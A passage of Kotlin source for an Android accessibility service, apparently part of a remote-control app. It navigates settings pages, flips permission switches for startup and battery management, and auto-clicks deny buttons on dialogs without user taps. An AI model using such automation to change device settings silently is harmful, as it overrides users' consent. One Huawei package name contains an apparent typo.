            
            // 3. 如果不在设置主页，尝试返回到主页
            if (currentPackage == "com.android.settings" || currentPackage == "com.huawei.systemmanager") {
                // 检查是否在设置主页
                val root = getStableRootInActiveWindow()
                val isHome = isSettingsHomeByKeywords(root)
                safeRecycleNode(root)
                
                if (!isHome) {
                    Log.d(TAG, "🔙 不在设置主页，尝试返回到主页")
                    returnToSettingsHome()
                }
            } else if (currentPackage == "com.android.permissioncontroller") {
                Log.d(TAG, "ℹ️ 当前在权限控制器，尝试返回一次进入设置主页")
                try { 
                    service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK) 
                    delay(PAGE_LOAD_DELAY)
                } catch (_: Exception) { }
            }

            // 4. 最终验证是否在设置主页
            val rootAfter = getStableRootInActiveWindow()
            val pkgAfter = rootAfter?.packageName?.toString()
            val isSettingsPkgAfter = pkgAfter == "com.android.settings" || pkgAfter == "com.huawei.systemmanager"
            val isHomeAfter = isSettingsHomeByKeywords(rootAfter)
            safeRecycleNode(rootAfter)

            val success = isSettingsPkgAfter && isHomeAfter

            Log.d(TAG, "设置页面打开结果: $success, 当前页面: $pkgAfter, isHome=$isHomeAfter")
            
            if (!success) {
                Log.w(TAG, "⚠️ 设置页面打开失败，尝试强制返回到设置主页")
                // 强制返回到设置主页
                returnToSettingsHome()
                
                // 再次验证
                val finalRoot = getStableRootInActiveWindow()
                val finalPkg = finalRoot?.packageName?.toString()
                val finalIsSettings = finalPkg == "com.android.settings" || finalPkg == "com.huawei.systemmanager"
                val finalIsHome = isSettingsHomeByKeywords(finalRoot)
                safeRecycleNode(finalRoot)
                
                Log.d(TAG, "强制返回后验证: 页面=$finalPkg, 是设置=$finalIsSettings, 是主页=$finalIsHome")
                return finalIsSettings && finalIsHome
            }
            
            success
        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开设置页面失败", e)
            false
        }
    }

    /**
     * 打开应用设置页面
     * 参考AccessibilityRemoteService的openAppSettings方法
     */
    private suspend fun openAppSettings(): Boolean {
        return try {
            Log.i(TAG, "⚙️ 打开当前应用的设置页面")
            val packageName = context.packageName
            Log.i(TAG, "📦 应用包名: $packageName")

            val intent = Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
                data = android.net.Uri.parse("package:$packageName")
                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            }

            // 检查Intent是否可以被处理
            val resolveInfo = context.packageManager.resolveActivity(intent, 0)
            if (resolveInfo != null) {
                Log.i(TAG, "✅ 找到处理Intent的Activity: ${resolveInfo.activityInfo.packageName}")
                context.startActivity(intent)
                delay(PAGE_LOAD_DELAY)

                Log.i(TAG, "✅ 已启动应用设置页面")

                // 验证是否成功打开应用设置页面
                val currentPackage = getStableRootInActiveWindow()?.packageName?.toString()
                val success = currentPackage == "com.android.settings" || currentPackage == "com.huawei.systemmanager"

                Log.d(TAG, "应用设置页面打开结果: $success, 当前页面: $currentPackage")
                return success
            } else {
                Log.e(TAG, "❌ 系统不支持应用设置页面")
                return false
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 打开应用设置页面失败", e)
            false
        }
    }

    /**
     * 导航到指定文本
     */
    private suspend fun navigateToText(text: String): Boolean {
        Log.d(TAG, "🔧 导航到$text")

        val result = findAndClickText(text)
        if (result) {
            delay(PAGE_LOAD_DELAY)
            Log.d(TAG, "✅ 成功导航到: ${text}页面")
        } else {
            Log.w(TAG, "❌ 导航失败: $text")
        }

        return result
    }

    /**
     * 返回应用并等待
     */
    private suspend fun returnToAppAndWait() {
        try {
            Log.d(TAG, "🔙 返回应用")
            val returnSuccess = service.performSmartReturnToApp()
            if (returnSuccess) {
                Log.d(TAG, "✅ 成功返回应用")
            } else {
                Log.w(TAG, "⚠️ 返回应用失败")
            }

            // 等待1秒让应用稳定
            delay(500)
            Log.d(TAG, "✅ 应用保活等待完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 返回应用异常", e)
        }
    }

    /**
     * 重新打开应用设置页面并导航到指定位置
     */
    private suspend fun reopenAppSettingsAndNavigateTo(targetText: String): Boolean {
        try {
            // 1. 打开应用设置页面
            Log.d(TAG, "🔧 重新打开应用设置页面")
            val appSettingsOpened = openAppSettings()
            if (!appSettingsOpened) {
                Log.e(TAG, "❌ 无法重新打开应用设置页面")
                return false
            }

            // 2. 检查当前页面状态
            val currentPackage = getStableRootInActiveWindow()?.packageName?.toString()
            Log.d(TAG, "🔍 当前页面包名: $currentPackage")

            if (currentPackage == "com.hiHuawei.systemmanager" && targetText == "耗电详情") {
                Log.d(TAG, "✅ 检测到Huawei系统管理器，应该已经在耗电详情页面，跳过导航")
                return true
            } else {
                // 3. 检查是否已经在目标页面
                Log.d(TAG, "🔍 检查是否已经在${targetText}页面")
                val rootNode = getStableRootInActiveWindow()
                val alreadyInTargetPage = rootNode?.let { findNodeByText(it, targetText) } != null

                if (alreadyInTargetPage) {
                    Log.d(TAG, "✅ 已经在${targetText}页面，跳过重新导航")
                    safeRecycleNode(rootNode)
                } else {
                    Log.d(TAG, "🔧 导航到$targetText")
                    safeRecycleNode(rootNode)
                    if (!navigateToText(targetText)) {
                        Log.e(TAG, "❌ 无法找到$targetText")
                        return false
                    }
                }
            }

            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重新打开应用设置页面并导航异常", e)
            return false
        }
    }

    /**
     * 重新打开应用设置页面并导航到启动管理
     */
    private suspend fun reopenAppSettingsAndNavigateToStartupManagement(): Boolean {
        try {
            // 1. 打开应用设置页面
            Log.d(TAG, "🔧 重新打开应用设置页面")
            val appSettingsOpened = openAppSettings()
            if (!appSettingsOpened) {
                Log.e(TAG, "❌ 无法重新打开应用设置页面")
                return false
            }

            // 2. 检查当前页面状态
            val currentPackage = getStableRootInActiveWindow()?.packageName?.toString()
            Log.d(TAG, "🔍 当前页面包名: $currentPackage")

            if (currentPackage == "com.hiHuawei.systemmanager") {
                Log.d(TAG, "✅ 检测到Huawei系统管理器，应该已经在耗电详情页面，直接查找启动管理")
            } else {
                // 3. 检查是否已经在耗电详情页面
                Log.d(TAG, "🔍 检查是否已经在耗电详情页面")
                val rootNode = getStableRootInActiveWindow()
                val alreadyInBatteryDetails = rootNode?.let { findNodeByText(it, "耗电详情") } != null

                if (alreadyInBatteryDetails) {
                    Log.d(TAG, "✅ 已经在耗电详情页面，跳过重新导航")
                    safeRecycleNode(rootNode)
                } else {
                    Log.d(TAG, "🔧 导航到耗电详情")
                    safeRecycleNode(rootNode)
                    if (!navigateToText("耗电详情")) {
                        Log.e(TAG, "❌ 无法找到耗电详情")
                        return false
                    }
                }
            }

            // 4. 导航到启动管理
            Log.d(TAG, "🔧 导航到启动管理")
            if (!navigateToText("启动管理")) {
                Log.e(TAG, "❌ 无法找到启动管理")
                return false
            }

            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重新打开应用设置页面并导航到启动管理异常", e)
            return false
        }
    }

    /**
     * 查找并点击文本（使用优化的查找方法）
     */
    private suspend fun findAndClickText(text: String): Boolean {
        Log.d(TAG, "🔍 开始搜索文本: $text")

        // 重置搜索状态
        if (text == "电池" || text == "设置") {
            isFirstSettingsEntry = true
            Log.d(TAG, "🔍 第一次进入设置页面，将进行向上搜索")
        } else {
            Log.d(TAG, "🔍 子页面导航，只进行向下搜索")
        }

        // 使用优化的查找方法先尝试直接搜索
        val root = getStableRootInActiveWindow()
        if (root != null) {
            val node = findNodeByTextOptimized(root, text)
            if (node != null) {
                Log.d(TAG, "✅ 使用优化方法找到文本: $text")
                val success = performClickSafe(node)
                safeRecycleNode(root)
                return success
            }
            safeRecycleNode(root)
        }

        // 如果优化方法失败，使用原有的搜索策略
        Log.d(TAG, "🔍 优化方法失败，使用原有搜索策略")
        
        // 搜索当前位置
        Log.d(TAG, "🔍 搜索当前位置: $text")
        if (searchCurrentPosition(text)) {
            return true
        }

        // 根据搜索状态决定搜索策略
        if (isFirstSettingsEntry) {
            // 向上搜索
            if (scrollUpAndSearch(text)) {
                return true
            }
        }

        // 向下搜索
        return scrollDownAndSearch(text)
    }

    /**
     * 搜索当前位置
     */
    private suspend fun searchCurrentPosition(text: String): Boolean {
        val rootNode = getStableRootInActiveWindow()
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        val targetNode = findNodeByText(rootNode, text)
        if (targetNode != null) {
            Log.d(TAG, "✅ 在当前位置找到文本: $text")
            val success = performClickSafe(targetNode)
            safeRecycleNode(rootNode)
            return success
        }

        safeRecycleNode(rootNode)
        return false
    }

    /**
     * 向上搜索
     */
    private suspend fun scrollUpAndSearch(text: String): Boolean {
        Log.d(TAG, "🔍 开始向上搜索: $text")

        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            // 向上滚动 - 使用手势实现
            performScrollUp()
            delay(500)

            // 搜索
            if (searchCurrentPosition(text)) {
                Log.d(TAG, "✅ 向上搜索第${i}次成功找到: $text")
                return true
            }

            Log.d(TAG, "🔍 向上搜索第${i}次未找到: $text")
        }

        Log.w(TAG, "❌ 向上搜索失败: $text")
        return false
    }

    /**
     * 向下搜索
     */
    private suspend fun scrollDownAndSearch(text: String): Boolean {
        Log.d(TAG, "🔍 开始向下搜索: $text")

        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            // 向下滚动 - 使用手势实现
            performScrollDown()
            delay(500)

            // 搜索
            if (searchCurrentPosition(text)) {
                Log.d(TAG, "✅ 向下搜索第${i}次成功找到: $text")
                return true
            }

            Log.d(TAG, "🔍 向下搜索第${i}次未找到: $text")
        }

        Log.w(TAG, "❌ 向下搜索失败: $text")
        return false
    }

    /**
     * 查找并点击我们的应用
     */
    private suspend fun findAndClickOurApp(): Boolean {
        Log.d(TAG, "🔍 查找我们的应用")

        // 动态获取当前应用名称
        val appName = try {
            val applicationInfo = context.applicationInfo
            val packageManager = context.packageManager
            val appLabel = packageManager.getApplicationLabel(applicationInfo).toString()
            Log.d(TAG, "当前应用名称: $appLabel")
            appLabel
        } catch (e: Exception) {
            Log.w(TAG, "无法获取应用名称，使用默认名称", e)
            "Android Remote Control" // 后备方案
        }

        Log.d(TAG, "🔍 搜索应用: $appName")

        // 搜索当前位置的应用
        Log.d(TAG, "🔍 搜索当前位置的应用: $appName")
        if (searchCurrentPositionForApp(appName)) {
            return true
        }

        // 向下搜索应用
        return scrollDownAndSearchApp(appName)
    }

    /**
     * 在当前位置搜索应用
     */
    private suspend fun searchCurrentPositionForApp(appName: String): Boolean {
        val rootNode = getStableRootInActiveWindow()
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        val appNode = findNodeByText(rootNode, appName)
        if (appNode != null) {
            Log.d(TAG, "✅ 在当前位置找到应用: $appName")
            val success = performClickSafe(appNode)
            safeRecycleNode(rootNode)

            if (success) {
                delay(PAGE_LOAD_DELAY)
                Log.d(TAG, "✅ 成功进入应用详情页面")
                return true
            }
        }

        safeRecycleNode(rootNode)
        return false
    }

    /**
     * 向下搜索应用
     */
    private suspend fun scrollDownAndSearchApp(appName: String): Boolean {
        Log.d(TAG, "🔍 开始向下搜索应用: $appName")

        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            // 向下滚动 - 使用手势实现
            performScrollDown()
            delay(500)

            // 搜索应用
            if (searchCurrentPositionForApp(appName)) {
                Log.d(TAG, "✅ 向下搜索第${i}次成功找到应用: $appName")
                return true
            }

            Log.d(TAG, "🔍 向下搜索第${i}次未找到应用: $appName")
        }

        Log.w(TAG, "❌ 向下搜索应用失败: $appName")
        return false
    }

    /**
     * 切换权限状态
     */
    private suspend fun togglePermission(permissionName: String, targetState: Boolean): Boolean {
        Log.d(TAG, "🔧 切换权限: $permissionName -> $targetState")

        val rootNode = getStableRootInActiveWindow()
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        val permissionNode = findNodeByText(rootNode, permissionName)
        if (permissionNode == null) {
            Log.w(TAG, "❌ 无法找到权限文本: $permissionName")
            safeRecycleNode(rootNode)
            return false
        }

        Log.d(TAG, "✅ 找到权限文本: $permissionName")

        // 查找右侧的开关控件
        val switchNode = findRightSideSwitchNode(permissionNode)
        if (switchNode == null) {
            Log.w(TAG, "❌ 无法找到开关控件")
            safeRecycleNode(rootNode)
            return false
        }

        // 检查当前状态
        val currentState = switchNode.isChecked
        Log.d(TAG, "🔍 权限当前状态: $permissionName = $currentState")

        if (currentState == targetState) {
            Log.d(TAG, "✅ 权限已是目标状态: $permissionName")
            safeRecycleNode(rootNode)
            return true
        }

        // 需要切换状态
        Log.d(TAG, "🔄 需要切换权限状态: $permissionName")
        val clickSuccess = performClickSafe(switchNode) || performCoordinateClick(switchNode)

        safeRecycleNode(rootNode)

        if (clickSuccess) {
            delay(500) // 等待状态更新
            Log.d(TAG, "✅ 权限状态切换成功: $permissionName -> $targetState")
            return true
        } else {
            Log.w(TAG, "❌ 权限状态切换失败: $permissionName")
            return false
        }
    }

    /**
     * 处理弹窗
     */
    private suspend fun handlePopup(buttonText: String): Boolean {
        Log.d(TAG, "🔧 处理弹窗，寻找按钮: $buttonText")

        delay(1000) // 等待弹窗出现

        val rootNode = getStableRootInActiveWindow()
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点处理弹窗")
            return true // 没有弹窗也算成功
        }

        // 查找按钮
        val buttonNode = findNodeByText(rootNode, buttonText)
        if (buttonNode != null) {
            Log.d(TAG, "✅ 找到弹窗按钮: $buttonText")
            val clickSuccess = performClickSafe(buttonNode)
            safeRecycleNode(rootNode)

            if (clickSuccess) {
                delay(500) // 等待弹窗关闭
                Log.d(TAG, "✅ 弹窗按钮点击成功: $buttonText")
                return true
            }
        }

        safeRecycleNode(rootNode)
        Log.d(TAG, "🔍 未找到弹窗按钮，可能没有弹窗出现: $buttonText")
        return true
    }

    // ======================== 节点查找和操作方法 ========================

    /**
     * 通过文本查找节点
     */
    private fun findNodeByText(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        // 检查当前节点 - 精确匹配
        val nodeText = root.text?.toString()
        val nodeDesc = root.contentDescription?.toString()

        if (nodeText == text || nodeDesc == text) {
            Log.d(TAG, "✅ 找到文本节点: $text")
            return root
        }

        // 递归查找子节点
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)

            val result = findNodeByText(child, text)
            if (result != null) {
                return result
            }
        }

        return null
    }

    /**
     * 查找权限文本右侧的开关控件
     */
    private fun findRightSideSwitchNode(permissionNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 查找文本右侧的开关控件")

        // 策略1: 在同一父节点中查找开关控件
        val parent = permissionNode.parent
        if (parent != null) {
            managedNodes.add(parent)

            for (i in 0 until parent.childCount) {
                val sibling = parent.getChild(i) ?: continue
                managedNodes.add(sibling)

                if (isSwitchNode(sibling)) {
                    Log.d(TAG, "✅ 在同级节点中找到开关控件")
                    return sibling
                }
            }
        }

        // 策略2: 在祖父节点中查找开关控件
        val grandParent = parent?.parent
        if (grandParent != null) {
            managedNodes.add(grandParent)

            val switchNode = findSwitchInNode(grandParent)
            if (switchNode != null) {
                Log.d(TAG, "✅ 在祖父节点中找到开关控件")
                return switchNode
            }
        }

        return null
    }

    /**
     * 在节点中查找开关控件
     */
    private fun findSwitchInNode(node: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        if (isSwitchNode(node)) {
            return node
        }

        for (i in 0 until node.childCount) {
            val child = node.getChild(i) ?: continue
            managedNodes.add(child)

            val result = findSwitchInNode(child)
            if (result != null) {
                return result
            }
        }

        return null
    }

    /**
     * 检查节点是否为开关控件
     */
    private fun isSwitchNode(node: AccessibilityNodeInfo): Boolean {
        val className = node.className?.toString() ?: ""
        return className.contains("Switch", ignoreCase = true) &&
                node.isClickable &&
                node.isVisibleToUser &&
                node.isEnabled
    }

    /**
     * 安全点击节点
     */
    private suspend fun performClickSafe(node: AccessibilityNodeInfo): Boolean {
        Log.d(TAG, "🔍 节点详情: 文本='${node.text}', 描述='${node.contentDescription}', 类型='${node.className}', 可点击=${node.isClickable}, 可见=${node.isVisibleToUser}, 启用=${node.isEnabled}")

        return if (node.isClickable) {
            val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
            Log.d(TAG, if (success) "✅ 节点点击成功" else "❌ 节点点击失败")
            success
        } else {
            Log.w(TAG, "⚠️ 节点不可点击，尝试点击父节点")
            clickParentNode(node)
        }
    }

    /**
     * 点击父节点
     */
    private suspend fun clickParentNode(node: AccessibilityNodeInfo): Boolean {
        var currentNode = node.parent
        var level = 1

        while (currentNode != null && level <= 5) {
            managedNodes.add(currentNode)

            if (currentNode.isClickable) {
                Log.d(TAG, "🎯 找到可点击的父节点，向上${level}层")
                val success = currentNode.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                Log.d(TAG, if (success) "✅ 节点点击成功" else "❌ 节点点击失败")
                return success
            }

            currentNode = currentNode.parent
            level++
        }

        Log.w(TAG, "❌ 未找到可点击的父节点")
        return false
    }

    /**
     * 坐标点击（接受坐标参数）
     */
    private fun performSimpleCoordinateClick(x: Int, y: Int): Boolean {
        return try {
            Log.d(TAG, "🎯 执行坐标点击: ($x, $y)")

            // 使用AccessibilityService的手势功能
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(x.toFloat(), y.toFloat())

            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0, 100
            )
            gestureBuilder.addStroke(stroke)

            val gestureDescription = gestureBuilder.build()
            val success = service.dispatchGesture(
                gestureDescription,
                object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                    override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                        Log.d(TAG, "✅ 坐标点击手势完成: ($x, $y)")
                    }

                    override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                        Log.w(TAG, "⚠️ 坐标点击手势被取消: ($x, $y)")
                    }
                },
                null
            )

            Log.d(TAG, "🎯 坐标点击手势发送结果: $success")
            success
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击异常: ($x, $y)", e)
            false
        }
    }

    /**
     * 坐标点击节点
     */
    private  fun performCoordinateClick(node: AccessibilityNodeInfo): Boolean {
        return try {
            val bounds = Rect()
            node.getBoundsInScreen(bounds)

            if (bounds.isEmpty) {
                Log.w(TAG, "❌ 节点边界为空")
                return false
            }

            val centerX = bounds.centerX()
            val centerY = bounds.centerY()

            Log.d(TAG, "🎯 开关控件坐标: ($centerX, $centerY), 区域: $bounds")

            // 使用AccessibilityService的手势功能
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(centerX.toFloat(), centerY.toFloat())

            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0, 100
            )
            gestureBuilder.addStroke(stroke)

            val gesture = gestureBuilder.build()

            val success = service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.d(TAG, "✅ 坐标点击手势完成")
                }

                override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.w(TAG, "❌ 坐标点击手势被取消")
                }
            }, null)

            if (success) {
                Log.d(TAG, "✅ 成功执行坐标点击: ($centerX, $centerY)")
                return true
            } else {
                Log.w(TAG, "❌ 坐标点击执行失败")
                return false
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击异常", e)
            return false
        }
    }

    // ======================== 资源管理方法 ========================

    /**
     * 安全回收节点
     */
    private fun safeRecycleNode(node: AccessibilityNodeInfo?) {
        try {
            if (node != null && managedNodes.contains(node)) {
                node.recycle()
                managedNodes.remove(node)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 节点回收失败", e)
        }
    }

    /**
     * 清理管理的节点
     */
    private fun cleanupManagedNodes() {
        Log.d(TAG, "🧹 清理管理的节点，数量: ${managedNodes.size}")

        try {
            managedNodes.forEach { node ->
                try {
                    node.recycle()
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 清理节点失败", e)
                }
            }
            managedNodes.clear()
            Log.d(TAG, "✅ 清理管理节点完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 清理管理节点异常", e)
        }
    }

    // ======================== 滚动操作方法 ========================

    /**
     * 执行向上滚动
     */
    private suspend fun performScrollUp() {
        try {
            val rootNode = getStableRootInActiveWindow()
            if (rootNode != null) {
                // 查找可滚动的节点
                val scrollableNode = findVerticalScrollableNode(rootNode) ?: findScrollableNode(rootNode)
                if (scrollableNode != null) {
                    val ok = scrollableNode.performAction(AccessibilityNodeInfo.ACTION_SCROLL_BACKWARD)
                    Log.d(TAG, "⬆️ ACTION_SCROLL_BACKWARD 执行: $ok on ${scrollableNode.className}")
                } else {
                    // 如果没有找到可滚动节点，使用手势
                    performScrollGesture(true)
                }
                safeRecycleNode(rootNode)
            } else {
                // 备选方案：使用手势滚动
                performScrollGesture(true)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 向上滚动失败", e)
            // 最后尝试使用手势
            performScrollGesture(true)
        }
    }

    /**
     * 执行向下滚动
     */
    private suspend fun performScrollDown() {
        try {
            val rootNode = getStableRootInActiveWindow()
            if (rootNode != null) {
                // 查找可滚动的节点
                val scrollableNode = findVerticalScrollableNode(rootNode) ?: findScrollableNode(rootNode)
                if (scrollableNode != null) {
                    val ok = scrollableNode.performAction(AccessibilityNodeInfo.ACTION_SCROLL_FORWARD)
                    Log.d(TAG, "⬇️ ACTION_SCROLL_FORWARD 执行: $ok on ${scrollableNode.className}")
                } else {
                    // 如果没有找到可滚动节点，使用手势
                    performScrollGesture(false)
                }
                safeRecycleNode(rootNode)
            } else {
                // 备选方案：使用手势滚动
                performScrollGesture(false)
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 向下滚动失败", e)
            // 最后尝试使用手势
            performScrollGesture(false)
        }
    }

    /**
     * 查找可滚动的节点
     */
    private fun findScrollableNode(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        if (root.isScrollable) {
            return root
        }

        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)

            val result = findScrollableNode(child)
            if (result != null) {
                return result
            }
        }

        return null
    }

    /**
     * 优先查找垂直方向的可滚动容器（RecyclerView/ListView/ScrollView），避免横向ViewPager拦截
     */
    private fun findVerticalScrollableNode(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        val className = root.className?.toString() ?: ""
        val rect = Rect().also { root.getBoundsInScreen(it) }
        val isVerticalShape = rect.height() > rect.width()
        val isVerticalClass = className.contains("RecyclerView", true) ||
                className.contains("ListView", true) ||
                className.contains("ScrollView", true)
        if (root.isScrollable && isVerticalShape || (root.isScrollable && isVerticalClass)) {
            return root
        }
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            val result = findVerticalScrollableNode(child)
            if (result != null) return result
        }
        return null
    }

    /**
     * 执行手势滚动
     */
    private suspend fun performScrollGesture(isScrollUp: Boolean) {
        try {
            // 优先尝试根据可滚动区域的矩形来计算垂直滑动，避免被识别为横向
            val rootNode = getStableRootInActiveWindow()
            var centerXByScrollable: Float? = null
            var startYByScrollable: Float? = null
            var endYByScrollable: Float? = null
            try {
                if (rootNode != null) {
                    val scrollable = findScrollableNode(rootNode)
                    if (scrollable != null) {
                        val rect = Rect()
                        scrollable.getBoundsInScreen(rect)
                        if (!rect.isEmpty) {
                            centerXByScrollable = rect.centerX().toFloat()
                            startYByScrollable = if (isScrollUp) rect.bottom - rect.height() * 0.2f else rect.top + rect.height() * 0.2f
                            endYByScrollable = if (isScrollUp) rect.top + rect.height() * 0.2f else rect.bottom - rect.height() * 0.2f
                            Log.d(TAG, "🧭 使用可滚动区域手势: x=${centerXByScrollable}, y:[${startYByScrollable} -> ${endYByScrollable}] 区域=${rect}")
                        }
                    }
                }
            } catch (_: Exception) { }

            val displayMetrics = context.resources.displayMetrics
            val screenWidth = displayMetrics.widthPixels
            val screenHeight = displayMetrics.heightPixels

            // 备选多列x坐标，避免界面将手势误判为横向（某些权限页顶部含可横滑Tab）
            val xCandidates = listOf(
                centerXByScrollable ?: (screenWidth * 0.50f),
                screenWidth * 0.25f,
                screenWidth * 0.75f
            ).distinct()

            var dispatched = false
            for (x in xCandidates) {
                val startY = (startYByScrollable ?: (if (isScrollUp) screenHeight * 0.75f else screenHeight * 0.35f))
                val endY = (endYByScrollable ?: (if (isScrollUp) screenHeight * 0.35f else screenHeight * 0.75f))

                val builder = android.accessibilityservice.GestureDescription.Builder()
                val path = android.graphics.Path()
                path.moveTo(x, startY)
                path.lineTo(x, endY)

                val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(
                    path, 0, 500 // 500ms 更稳定的垂直手势
                )
                builder.addStroke(stroke)
                val gesture = builder.build()

                val ok = service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                    override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                        Log.d(TAG, "✅ ${if (isScrollUp) "向上" else "向下"}滚动手势完成 @x=$x")
                    }

                    override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                        Log.w(TAG, "❌ ${if (isScrollUp) "向上" else "向下"}滚动手势被取消 @x=$x")
                    }
                }, null)

                if (ok) { dispatched = true; break }
            }

            if (!dispatched) {
                Log.w(TAG, "⚠️ 手势派发未成功，可能界面拦截了滚动")
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行滚动手势失败", e)
        }
    }

    /**
     * 检查是否为通知权限对话框
     */
    private fun checkIfNotificationPermissionDialog(rootNode: AccessibilityNodeInfo): Boolean {
        return try {
            // 查找通知相关的文本
            val notificationKeywords = listOf(
                "通知", "通知权限", "通知管理", "允许通知", "通知设置",
                "Notification", "Notification permission", "Allow notifications"
            )
            
            for (keyword in notificationKeywords) {
                val nodes = rootNode.findAccessibilityNodeInfosByText(keyword)
                if (nodes != null && nodes.isNotEmpty()) {
                    Log.d(TAG, "🔔 找到通知相关文本: $keyword")
                    // 回收节点
                    nodes.forEach { it.recycle() }
                    return true
                }
            }
            
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查通知权限对话框失败", e)
            false
        }
    }

    /**
     * 点击禁止按钮
     */
    private fun clickDenyButton(rootNode: AccessibilityNodeInfo): Boolean {
        return try {
            // 定义禁止按钮的关键字
            val denyKeywords = listOf(
                "禁止", "拒绝", "取消", "Cancel", "Deny", "Dismiss", "不允许", "不同意",
                "Don't allow", "Not now", "拒绝", "禁止"
            )
            
            for (keyword in denyKeywords) {
                val nodes = rootNode.findAccessibilityNodeInfosByText(keyword)
                if (nodes != null && nodes.isNotEmpty()) {
                    for (node in nodes) {
                        try {
                            if (node.isClickable && node.isVisibleToUser) {
                                Log.d(TAG, "🎯 找到禁止按钮: $keyword")
                                val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                                if (success) {
                                    Log.d(TAG, "✅ 成功点击禁止按钮: $keyword")
                                    return true
                                }
                            }
                        } catch (e: Exception) {
                            Log.e(TAG, "❌ 点击禁止按钮失败: $keyword", e)
                        } finally {
                            node.recycle()
                        }
                    }
                }
            }
            
            false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找禁止按钮失败", e)
            false
        }
    }
} 